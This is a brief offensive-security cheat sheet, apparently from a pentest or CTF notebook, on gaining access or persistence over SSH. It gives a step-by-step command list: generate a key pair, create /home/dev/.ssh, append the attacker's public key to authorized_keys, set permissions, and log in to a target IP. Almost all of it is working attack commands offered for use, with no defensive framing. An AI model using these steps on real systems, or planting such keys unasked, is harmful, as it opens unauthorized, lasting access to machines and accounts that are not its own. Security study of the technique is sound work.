Summery
This techique is a quick and funny way to get access or persistance on a host with SSH. In short, if you can write in user’s home directory, you can just add the keys yourself - just as an admin would.
Commands
ssh-keygen -t rsa -f id_rsa - generates an RSA SSH key pair
mkdir -p /home/dev/.ssh - Create the .ssh folder if there isn’t one
echo 'YOUR PUBLIC KEY' >> /home/dev/.ssh/authorized_keys - Add your public key to the end of the authorized_keys file
chmod 700 /home/dev/.ssh - Give .ssh correct permissions
chmod 600 /home/dev/.ssh/authorized_keys - Give authorized_keys correct permissions
ssh -i id_rsa <USERNAME>@<TARGET IP> - Enter the target host with your new access